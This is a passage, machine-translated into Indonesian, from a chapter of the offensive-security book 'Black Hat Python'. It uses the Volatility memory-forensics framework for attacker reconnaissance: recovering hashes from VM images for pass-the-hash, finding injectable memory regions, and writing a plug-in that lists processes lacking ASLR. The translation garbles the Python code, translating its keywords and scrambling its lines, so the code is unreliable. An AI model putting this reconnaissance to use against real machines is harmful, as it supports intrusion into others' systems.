target, atau dapat digunakan dalam serangan pass-the-hash untuk mendapatkan akses ke
sumber daya jaringan lainnya.
Baik targetnya adalah pengguna paranoid yang melakukan operasi berisiko tinggi hanya pada
VM atau merupakan perusahaan yang berupaya memasukkan beberapa aktivitas penggunanya
ke VM, melihat VM atau snapshot pada sistem adalah saat yang tepat untuk mencoba
memulihkan hash ini setelah Anda mendapatkan akses ke perangkat keras host.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Pengintaian Kerentanan
Sekarang mari kita gunakan Volatilitas untuk mengetahui apakah VM target memiliki
kerentanan yang mungkin dapat kita eksploitasi. Plug -in malfind memeriksa rentang
memori proses yang berpotensi berisi kode yang disuntikkan. Potensi adalah kata kuncinya di sini—
plug-in mencari wilayah memori yang memiliki izin untuk membaca, menulis, dan
mengeksekusi. Penting untuk menyelidiki proses ini karena proses ini memungkinkan kami
memanfaatkan beberapa malware yang sudah tersedia. Alternatifnya, kami mungkin dapat
menimpa wilayah tersebut dengan malware kami sendiri.
Kami menemui beberapa potensi masalah. Proses timeserv.exe ( PID 1336) adalah
bagian dari freeware yang dikenal sebagai FreeDesktopClock (PID 6484).
Proses-proses ini tidak selalu menjadi masalah asalkan diinstal di C:\Program Files. Jika
tidak, prosesnya mungkin berupa malware yang menyamar sebagai jam.
176 Bab 11
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kami melihat beberapa koneksi dari mesin lokal (192.168.28.128), tampaknya ke beberapa
server web 2; koneksi ini sekarang ditutup.
Yang lebih penting adalah koneksi bertanda MENDENGARKAN. Yang dimiliki oleh proses
Windows yang dapat dikenali (svchost, lsass, wininit) mungkin baik-baik saja, tetapi proses nc64.exe
tidak diketahui 1. Proses ini mendengarkan pada port 4444, dan ada baiknya melihat lebih dalam
dengan menggunakan pengganti netcat kami dari Bab 2 untuk menyelidiki port itu.
Antarmuka volshell
Selain antarmuka baris perintah, Anda dapat menggunakan Volatilitas di shell Python khusus
dengan perintah volshell . Ini memberi Anda semua kekuatan Volatilitas serta cangkang Python
lengkap. Berikut ini contoh penggunaan plug-in pslist pada image Windows menggunakan volshell:
Dalam contoh singkat ini, kami menggunakan tombol -w untuk memberi tahu Volatility bahwa
kami sedang menganalisis gambar Windows dan tombol -f untuk menentukan gambar itu sendiri 1.
Setelah kita berada di antarmuka volshell , kita menggunakannya seperti shell Python biasa.
Artinya, Anda dapat mengimpor paket atau menulis fungsi seperti biasa, tetapi sekarang Anda juga
memiliki Volatilitas yang tertanam di shell. Kami mengimpor plist
plug-in 2 dan menampilkan output ( fungsi dpo ) dari plug-in 3.
Anda dapat menemukan informasi lebih lanjut tentang penggunaan volshell dengan memasukkan
volshell --help.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
impor. . .
1 kelas CmdLine(interfaces.plugin.PluginInterface):
@metode kelas
2 def get_requirements(cls):
lulus
Langkah utama di sini adalah membuat kelas baru untuk diwarisi dari
PluginInterface 1, tentukan persyaratan plug-in Anda 2, tentukan prosesnya
metode 3, dan tentukan metode generator 4. Metode generator bersifat opsional, namun
memisahkannya dari metode run adalah pola berguna yang akan Anda lihat di banyak
plugin. Dengan memisahkannya dan menggunakannya sebagai generator Python, Anda
bisa mendapatkan hasil yang lebih cepat dan membuat kode Anda lebih mudah dipahami.
Mari ikuti pola umum ini untuk membuat plug-in khusus yang akan memeriksa
proses yang tidak dilindungi oleh pengacakan tata letak ruang alamat (ASLR). ASLR
mencampurkan ruang alamat dari proses yang rentan, yang mempengaruhi lokasi
memori virtual dari heap, stack, dan alokasi sistem operasi lainnya. Artinya, penulis
eksploitasi tidak dapat menentukan bagaimana ruang alamat dari proses korban diletakkan
pada saat serangan.
Windows Vista adalah rilis Windows pertama dengan dukungan ASLR. Pada image
memori lama seperti Windows XP, Anda tidak akan melihat perlindungan ASLR diaktifkan
secara default. Sekarang, dengan mesin terbaru (Windows 10), hampir semua proses
terlindungi.
ASLR tidak berarti penyerangnya gulung tikar, namun ASLR berhasil
jauh lebih rumit. Sebagai langkah pertama dalam mengintai proses, kami akan membuat
plug-in untuk memeriksa apakah suatu proses dilindungi oleh ASLR.
Mari kita mulai. Buat direktori bernama plugin. Di bawah direktori itu,
buat direktori windows untuk memuat plug-in khusus Anda untuk mesin Windows. Jika
Anda membuat plug-in untuk menargetkan mesin Mac atau Linux, buatlah direktori masing-
masing dengan nama mac atau linux .
Sekarang, di direktori plugins/ windows , mari tulis plug-in pemeriksaan ASLR kita,
aslrcheck.py:
178 Bab 11
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
impor io
impor logging
impor os
impor pefile
vollog = logging.getLogger(__nama__)
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040
IMAGE_FILE_RELOCS_STRIPPED = 0x0001
Pertama-tama kita menangani impor yang kita perlukan, ditambah perpustakaan pefile untuk
menganalisis file Portable Executable (PE). Sekarang mari kita tulis fungsi pembantu untuk melakukan
analisis tersebut:
1 def check_aslr(pe):
pe.parse_data_directories([ pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG']
])
dinamis = Salah
dilucuti = Salah
2 if (pe.OPTIONAL_HEADER.DllCharacteristics &
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE):
dinamis = Benar 3
if pe.FILE_HEADER.Characteristics & IMAGE_FILE_RELOCS_STRIPPED:
stripped = Benar 4
jika tidak dinamis atau (dinamis dan dilucuti): aslr = Salah yang
lain: aslr = Benar
kembali aslr
1 kelas AslrCheck(interfaces.plugins.PluginInterface):
@classmethod
def get_requirements(cls): return
[2
persyaratan.TranslationLayerRequirement( nama='utama',
deskripsi='Lapisan memori untuk kernel', arsitektur=["Intel32", "Intel64"]),
3 persyaratan.SymbolTableRequirement( name="nt_symbols",
deskripsi="simbol kernel Windows"),
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
4 persyaratan.Persyaratan Plugin(
nama='pslist', plugin=pslist.PsList, versi=(1, 0, 0)),
5 persyaratan.ListRequirement(nama = 'pid',
elemen_tipe = int,
deskripsi = "ID Proses yang akan disertakan (yang lainnya dikecualikan)",
opsional = Benar),
]
@metode kelas
def create_pid_filter(cls, pid_list: Daftar[int] = Tidak Ada) -> Callable[[interfaces.objects.
Antarmuka Objek], bool]:
filter_func = lambda _: Salah
pid_list = pid_list atau []
filter_list = [x untuk x di pid_list jika x bukan Tidak Ada]
jika filter_daftar:
filter_func = lambda x: x.UniqueProcessId tidak ada di filter_list
kembalikan filter_func
Untuk menangani ID proses opsional, kami menggunakan metode kelas untuk membuat
fungsi filter yang mengembalikan False untuk setiap ID proses dalam daftar; yaitu, pertanyaan yang
kita ajukan pada fungsi filter adalah apakah akan memfilter suatu proses, jadi kita mengembalikan
True hanya jika PID tidak ada dalam daftar:
180 Bab 11
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
melanjutkan
namapro.tambahkan(namaproc)
peb = self.context.object( 2
self.config['nt_symbols'] + konstanta.BANG + "_PEB", nama_lapisan =
nama_lapisan proc, offset = proc.Peb)
coba:
dos_header = self.context.object( pe_table_name
+ konstanta.BANG + "_IMAGE_DOS_HEADER", offset=peb.ImageBaseAddress,
layer_name=proc_layer_name) kecuali
Pengecualian sebagai e: lanjutkan
coba:
pe = pefile.PE(data=pe_data_raw) 4 kecuali
Pengecualian sebagai e:
lanjutkan
aslr = check_aslr(pe) 5
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Sekarang kita membuat metode run , yang tidak memerlukan argumen karena semua
pengaturan diisi di objek config:
def lari(diri):
1 proses = pslist.PsList.list_processes(self.context,
self.config["utama"],
mandiri.config["nt_symbols"],
filter_fungsi =
self.create_pid_filter(self.config.get('pid', Tidak Ada)))
2 penyaji kembali.TreeGrid([
("PID", ke dalam),
("Nama file", str),
("Dasar", format_hints.Hex),
("ASLR", bodoh)],
mandiri._generator(procs))
Menendang Ban
Mari kita lihat salah satu gambar yang tersedia di situs Volatilitas: Malware – Cridex.
Untuk plugin khusus Anda, berikan saklar -p dengan jalur ke folder plugin Anda:
Seperti yang Anda lihat, ini adalah mesin Windows XP, dan tidak ada perlindungan
ASLR pada proses apa pun.
Berikut ini hasil mesin Windows 10 yang bersih dan terkini:
182 Bab 11
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
*
Noda memori selama akuisisi (coba dapatkan kembali jika memungkinkan)
* Pencarian halaman yang sengaja tidak valid (perlindungan sistem operasi)
* Bug di plugin/volatilitas (jalankan kembali dengan -vvv dan laporkan bug)
Tidak terlalu banyak yang bisa dilihat di sini. Setiap proses yang terdaftar dilindungi oleh ASLR.
Namun, kami juga melihat noda ingatan. Noda memori terjadi ketika isi memori berubah seiring
pengambilan gambar memori. Hal ini mengakibatkan deskripsi tabel memori tidak cocok dengan
memori itu sendiri; sebagai alternatif, penunjuk memori virtual mungkin merujuk pada data yang
tidak valid. Meretas itu sulit. Seperti yang dijelaskan dalam deskripsi kesalahan, Anda dapat mencoba
memperoleh kembali gambar tersebut (menemukan atau membuat snapshot baru).
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Dalam bab ini, Anda melihat bahwa Anda dapat memanfaatkan kekuatan kerangka Volatilitas
untuk menemukan lebih banyak informasi tentang perilaku dan koneksi pengguna serta menganalisis
data pada setiap proses yang menjalankan memori. Anda dapat menggunakan informasi tersebut
untuk lebih memahami pengguna dan mesin target serta memahami pola pikir seorang pembela
HAM.
Maju!
Anda seharusnya sudah menyadari sekarang bahwa Python adalah bahasa yang bagus
untuk peretasan, terutama jika Anda mempertimbangkan banyaknya perpustakaan
dan kerangka kerja berbasis Python yang Anda miliki. Meskipun ada banyak sekali alat
untuk peretas, tidak ada yang bisa menggantikan pengkodean alat Anda sendiri, karena ini
memberi Anda pemahaman lebih dalam tentang apa yang dilakukan alat lain tersebut.
Silakan dan segera buat kode alat khusus untuk kebutuhan khusus Anda.
Baik itu klien SSH untuk Windows, web scraper, atau sistem perintah dan kontrol,
Python siap membantu Anda.
184 Bab 11